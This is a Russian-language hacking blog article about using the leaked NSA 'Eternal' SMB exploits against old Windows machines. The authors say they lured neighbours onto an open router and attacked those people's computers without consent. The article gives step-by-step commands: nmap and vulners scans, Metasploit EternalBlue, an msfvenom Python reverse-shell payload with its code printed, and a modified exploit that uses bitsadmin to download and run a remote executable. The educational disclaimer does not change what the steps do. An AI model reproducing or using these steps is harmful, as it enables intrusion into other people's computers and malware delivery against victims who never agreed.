Взлом с использованием старых уязвимостей. Возможно ли?
Не думали ли вы, что что современные методы не всегда требуют современных решений? Давайте разбираться на практике!
Всем салют, дорогие друзья!
Не думали ли вы, что что современные методы не всегда требуют современных решений? Давайте разбираться на практике!
Прежде, чем начать:
Информация предоставлена исключительно в образовательных целях и не побуждает вас к действию. Мы не несем никакой ответственности за то, с каким умыслом будут использованы способы представленные ниже. Мы написали эту статью лишь для того, чтобы вы, дорогие читатели, могли защитить себя.
Наши инструменты: уязвимости и эксплоиты украденные у АНБ*
*Агентство национальной безопасности. Разведывательное агентство США.
The Shadow Brokers — таинственный человек или группа, которые в 2017 году опубликовали гигабайт эксплойтов программного обеспечения Агентства национальной безопасности. Но самый значимый дамп содержит мощные эксплойты и хакерские инструменты, предназначенные для большинства версий Microsoft Windows, а также доказательства изощренных взломов банковской системы SWIFT и нескольких банков по всему миру.
Да, именно так начиналась эпоха разрушений 2017 года, как уже было сказано, выгружено было множество эксплоитов, но самым резонансным стал только один под кодовым названием EternalBlue.
Эксплоит использует ошибку удаленного выполнения кода в последней версии от начала 2017 года Windows 2008 R2 с использованием блока сообщений сервера и протоколов NetBT. Многие придерживаются ошибочного мнения, что была опубликована лишь одна уязвимость и она стала причиной коллапса.
Еще один хакерский инструмент, известный как Eternalromance, содержит простой в использовании интерфейс и «гладкий» код. Он использует порты 139 и 445 для повышения привилегий в системе. Допустим, у вас есть доступ через Шелл к компьютеру на Win Server 2008, но нет достаточного прав, чтобы выполнить требующиеся манипуляции. Этот инструмент вам пригодится.
Каждую описывать детально не буду, а просто опубликую список слитых на то время утилит:
- ETERNALROMANCE — Эксплойт удаленного повышения привилегий (SYSTEM) (от Windows XP до Windows 2008 через TCP-порт 445)
- ENTERNALCHAMPION, ETERNALSYSTEM — Удаленный эксплойт до Windows 8 и 2012
- ETERNALBLUE — Удаленный эксплойт через SMB и NBT (от Windows XP до Windows 2012)
- EXPLODINGCAN — эксплойт IIS 6.0 для Windows 2003
- EWORKFRENZY — эксплойт Lotus Domino 6.5.4 и 7.0.2
- ETERNALSYNERGY — Windows 8 и Windows Server 2012
- FUZZBUNCH — Exploit Framework (по аналогии с Metasploit) для эксплойтов.
❓Какие из эксплоитов в сегодняшних реалиях могут быть опасны?
⚠️ Несомненно все. Люди зачастую пренебрегают собственной безопасностью и очень часто не уделяют должного внимания важности защиты. От чего и страдают сами.
Как будет проходить наше тестирование
Все действо будет проходить в вымышленном многоквартирном доме, т.к. для объективности статьи хочется проводить все тесты на реальных примерах, плюс будет немного проще действовать в локальной сети. Это поможет избежать лишней головной боли. К этому вопросу мы решили подойти немного-немало, но креативно.
На протяжении целой недели, наш роутер работал без пароля, открывая всем доступ к своему высокоскоростному соединению. Но для большего эффекта пришлось немного напакостить, чтобы интернет у всех остальных жителей немного, но стал хуже.
✅ В итоге удалось собрать два десятка халявщиков. Их устройства мы и будем использовать для сбора статистики.
Анализ халявщиков
По нашим наблюдения, те, кто любят бесплатное - это или супер зажиточные персоны, экономящие каждую копейку, или те люди, которым действительно нужно экономить во имя выживания.
Что те, что другие не выделяются какой-то современностью, поэтому в нашем распоряжении оказалось отличное поприще: здесь и ноутбуки 2010 года и офисные ПК с ХР.
Сканируем порты. Поиск идеальной жертвы
Так как в нашей локальной сети теперь огромное количество устройств, давайте проверим, все доступные, используя команду netdiscover
в Кали:
netdiscover
Возьмем первый попавшийся IP адрес и соберем максимально большое количество информации. Не смотря на то, что нашей основной целью было показать, что семейство уязвимостей Этернал до сих пор живо, было бы неплохо и наглядно продемонстрировать насколько обычные люди беззащитны.
В качестве атакующего компьютера выступает виртуальная машина с Kali Linux последней версии.
Запустим обычный скан на открытые порты :
sudo nmap 192.168.42.130
И ничего особо удивительного не происходит, первое же устройство имеет огромное количество открытых портов, но нас больше всего интересуют следующие:
✅ На этом этапе уже есть 90% уверенность в том, что любой эксплойт из серии Этернал здесь сработает, но давайте копнем поглубже.
Сперва определим тип операционной системы, используя все тот же nmap:
nmap -A 192.168.42.130
Ответ скрипта дает нам следующую информацию:
OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1 | Computer name: SuroviyLeha777 | NetBIOS computer name: \xD0\x8F\xD0\x89\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2022-09-05T13:46:15+03:00
Увидев имя - SuroviyLeha777 , нам как-то расхотелось что-либо тестировать на нем, но отступать уже поздно 😂
Если вы не любите консольные приложения, то вместо nmap вполне можно использовать Zenmap, который подробно все покажет и расскажет c использование графического интерфейса.
Промежуточные итоги
Исключительно после скана портов у нас уже есть две уязвимости, которые могут скомпрометировать устройство - 445 - Eternal и на порту 5375 - CVE-2009-4737, которая позволяет выполнять произвольный код, к ней мы вернемся чуть позже.
Ищем все уязвимости системы
Покажем два способа. Первый будет связан с Nmap и установкой для него скриптов, второй же попроще - Nessus.
Для установки скриптов в Nmap, нам сперва нужно найти директорию, где они хранятся, у нас это - /usr/share/nmap/scripts/
, поэтому переходим по нужному пути и просто устанавливаем репозиторий Nmap Vultures:
cd /usr/share/nmap/scripts/ git clone https://github.com/vulnersCom/nmap-vulners.git
Следом обновляем список скриптов Nmap следующей командой:
nmap --script-updatedb
А теперь запустим сканирование:
nmap -sV --script vulners --script-args mincvss=5.0 192.168.42.130
То же самое можно сделать и с помощью Nessus.
По итогу, оба инструмента нашли целых 28 критических уязвимостей и если смотреть по хронологии, то большинство уходят далеко за 2015 год.
Такое чувство, что это вовсе не должно существовать в нашем мире, но это почему-то есть.
А теперь давайте обратимся к Metasploit, чтобы убедиться, что хост действительно уязвим:
msfconsole search EternalBlue use 3 set rhost 192.168.42.130 run
Хост выглядит уязвимым. Здесь даже не придется особо хитрить, но мне захотелось...
Так как у нас есть открытый РДП порт, мы можем проверить наличие гостевой учетной записи. Не знаю, зачем понадобилось оставлять включенным протокол удаленного доступа, но и размышлять особо не станем. Для начала, мы проверили, существует ли эта учетка, затем нас посетила еще одна очень интересная мысля...
В нашем распоряжении имеется достаточно информации, чтобы провести некую атаку. Безусловно, это можно было бы сделать просто через Метасплоит. Но что, если нашей целью будет не получение удаленного доступа, а например, загрузка какого-то вредоноса и его автоматический запуск?
Подобным образом, кстати, попадал на устройства всем нам знакомый WannaCry.
Допустим, что у нашей жертвы имеется какой-то простенький, старенький антивирус и использовать обычную полезную нагрузку из Венома не представляется возможным.
Для примера возьмем уже готовую Веномовскую PL и от неё будем что-то плясать.
Генерируем нагрузку на Питоне:
msfvenom -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 > ~/test.py
А теперь давайте посмотрим её изнутри:
nano test.py
И узрим мы следующее (если упустим расшифровку exec() из base64):
import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('127.0.0.1',1234)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)<l: d+=s.recv(l-len(d)) exec(d,{'s':s}
Самое важное для нас - это то, что здесь присутствует импорт трех стандартных модулей - socket
, struct
, time
. В принципе здесь просто описаны инерции подключений с тайм-аутом в 5 секунд.
Но это не самое важное, пора бы глянуть, что в коде, который посылает пейлоаду сервер. Для этого нам понадобится запустить Handler MSF с ожиданием полезной нагрузки python/meterpreter/reverse_tcp
:
msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set LHOST set LPORT run
Чтобы получить тот самый код, нам понадобится библиотека pwntools
:
pip install pwntools
Теперь пропишем следующий код:
import pwn s = pwn.connect(str"{ip 127.0.0.1}", int(1234)) s.interactive()
В итоге получаем около 1300 строк кода от сервера, который, кстати, даже сейчас мало чем определяется.
Как вы, дорогие читатели, могли понять, нас интересует именно кастомный сервер, который и будет отправлять вот этот вирусный код на полезную нагрузку.
Расписывать смысла не видим, так как статья совершенно не о том, просто оставим код здесь (кликабельно)
А теперь обратимся к той самой модификации эксплоита, что-то подобное уже обсуждалось на хакерских форумах, но нам захотелось использовать это в несколько другом ключе.
Если что, полезная нагрузка - это лишь пример, в реальности можно загрузить что угодно: от кейлоггера до стиллера.
Половину текста я упущу и перейдем сразу к редактированию самого скрипта. Просто переходим по адресу /usr/share/exploitdb/exploits/windows/remote/ и копируем нужный эксплоит.
Естественно, вводим данные гостевой учетной записи и сразу же переходим к этому фрагменту кода, который отвечает за создание текстового документа:
Хотелось просто указать путь, но, к сожалению, так не пройдет. Как вариант, можно загрузить файл в интернет и вставить туда ссылку? Так и сделаем!
bitsadmin /transfer pwn /download https://dropmefiles/python.exe C:/user/python.exe
И закончим строчкой, которая запустит выполнение нашего файла:
service_exec(conn, r'cmd /c /python.exe')
Здесь мы упустили установку Pipe, если что. Теперь запустим наш кастомный слушатель:
python3 server.py
python exploit.py 192.168.42.130 netlogon
Сервер открывает нам обратную оболочку.
Выводы по исследованию
Мы провели несколько тестов с другими машинами и получили следующие результаты:
✅ 14 компьютеров можно легко взломать
❗️10 из них уязвимы для эксплоита, которому уже более пяти лет!
Эта статьей мы хотели бы обратить внимание обычных пользователей на то, что они закрывают глаза на старое, боясь только нового. Правда, как показала практика, совсем не того они опасаются.
⚠️ Уязвимость, которая, по мнению большинства, давным-давно изжила себя - остается не только актуальной, но и опасной.